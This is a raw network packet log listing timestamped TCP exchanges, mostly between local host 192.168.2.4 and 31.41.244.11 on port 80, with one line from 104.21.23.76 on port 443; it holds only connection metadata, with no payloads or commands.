Dec 20, 2024 04:12:33.948911905 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.948971987 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.949084044 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.951877117 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.951951027 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.951968908 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.952027082 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.954849958 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.954914093 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.954969883 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.957807064 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.957865953 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.957953930 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.958019972 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.960792065 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.960840940 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.960894108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.960942030 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.963797092 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.963851929 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.963934898 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.963982105 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.966790915 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.966839075 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.966876984 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.966922998 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.969815969 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.969882011 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.969943047 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.969990969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.972820044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.972856998 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.972872972 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.972904921 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.975807905 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.975879908 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.975908995 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.975984097 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.978862047 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.978873968 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.978910923 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.978940964 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.981808901 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.981858969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.060916901 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.060981035 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.061075926 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.061125040 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.062066078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.062118053 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.062231064 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.062279940 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.064557076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.064615965 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.064651012 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.064692974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.066956043 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.067011118 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.067051888 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.067174911 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.069386959 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.069434881 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.069494009 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.069565058 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.071937084 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.071949005 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.071995974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.071995974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.074214935 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.074227095 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.074270964 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.074301958 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.076437950 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.076508045 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.076548100 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.076598883 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.078798056 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.078809023 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.078849077 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.081000090 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.081011057 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.081053972 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.083108902 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.083182096 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.083189011 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.083234072 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.085275888 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.085324049 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.085510015 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.085556984 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.087374926 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.087425947 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.087485075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.087562084 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.089534044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.089584112 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.089673996 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.089719057 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.091604948 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.091696978 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.091756105 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.091799021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.093733072 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.093780041 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.093806982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.093853951 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.095748901 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.095798016 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.095807076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.095870018 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.097891092 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.097944021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.098011971 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.098057985 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.099802971 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.099854946 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.099911928 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.100013971 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.101733923 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.101784945 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.101845980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.101924896 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.103724957 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.103796005 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.103797913 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.103840113 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.105747938 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.105787992 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.105803013 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.105833054 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.107625961 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.107682943 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.107737064 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.107842922 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.109606981 CET	443	49839	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:34.109659910 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.109671116 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.109705925 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.109736919 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.111552000 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.111608028 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.111612082 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.111701012 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.113512039 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.113567114 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.113631010 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.113751888 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.115509033 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.115564108 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.115583897 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.115627050 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.117444038 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.117508888 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.117643118 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.117691040 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.119385004 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.119441032 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.119554996 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.119856119 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.121340990 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.121395111 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.121519089 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.121587038 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.123357058 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.123399019 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.123435020 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.123435020 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.125372887 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.125418901 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.125454903 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.125497103 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.127362013 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.127373934 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.127418995 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.129199028 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.129266024 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.129285097 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.129332066 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.131162882 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.131220102 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.131244898 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.131334066 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.133137941 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.133181095 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.133183956 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.133219004 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.135051966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.135133028 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.135222912 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.135303974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.137038946 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.137094021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.137118101 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.137165070 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.138998032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.139050961 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.139120102 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.139164925 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.140969992 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.141017914 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.141119957 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.141164064 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.142925024 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.143160105 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.143213987 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.144952059 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.145025015 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.145112991 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.146814108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.146873951 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.146938086 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.146984100 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.148787022 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.148838043 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.148955107 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.149244070 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.150696993 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.150749922 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.150857925 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.150899887 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.152782917 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.152795076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.152829885 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.152879000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.154680014 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.154769897 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.154804945 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.154854059 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.156574011 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.156680107 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.156724930 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.158544064 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.158628941 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.158668995 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.158714056 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.160522938 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.160573006 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.160594940 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.160644054 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.162518024 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.162559032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.162606955 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.164413929 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.164474010 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.164506912 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.164551020 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.254825115 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.254879951 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.254977942 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.255028963 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.255515099 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.255563974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.255619049 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.255740881 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.257025957 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.257097006 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.257162094 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.257205009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.258471012 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.258526087 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.258651018 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.258702040 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.259890079 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.259943962 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.260015965 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.260122061 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.261363983 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.261419058 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.261461020 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.261506081 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.262763977 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.262835026 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.262873888 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.262964964 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.264204025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.264256954 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.264313936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.264487982 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.265569925 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.265621901 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.265782118 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.265866041 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.266989946 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.267036915 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.267086983 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.267141104 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.268302917 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.268352985 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.268454075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.268501997 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.269709110 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.269776106 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.269784927 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.269834042 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.271076918 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.271130085 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.271169901 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.271224022 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.272375107 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.272440910 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.272454023 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.272504091 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.273691893 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.273766041 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.273782015 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.273825884 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.275129080 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.275140047 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.275177956 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.275207043 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.276393890 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.276453972 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.276470900 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.276513100 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.277620077 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.277710915 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.277731895 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.277767897 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.278923988 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.278990984 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.279000998 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.279119968 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.280256987 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.280273914 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.280304909 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.280335903 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.281482935 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.281532049 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.281647921 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.281698942 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.282789946 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.282845974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.282850027 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.282891035 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.284070969 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.284081936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.284142017 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.284173012 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.285222054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.285280943 CET	49838	80	192.168.2.4	31.41.244.11
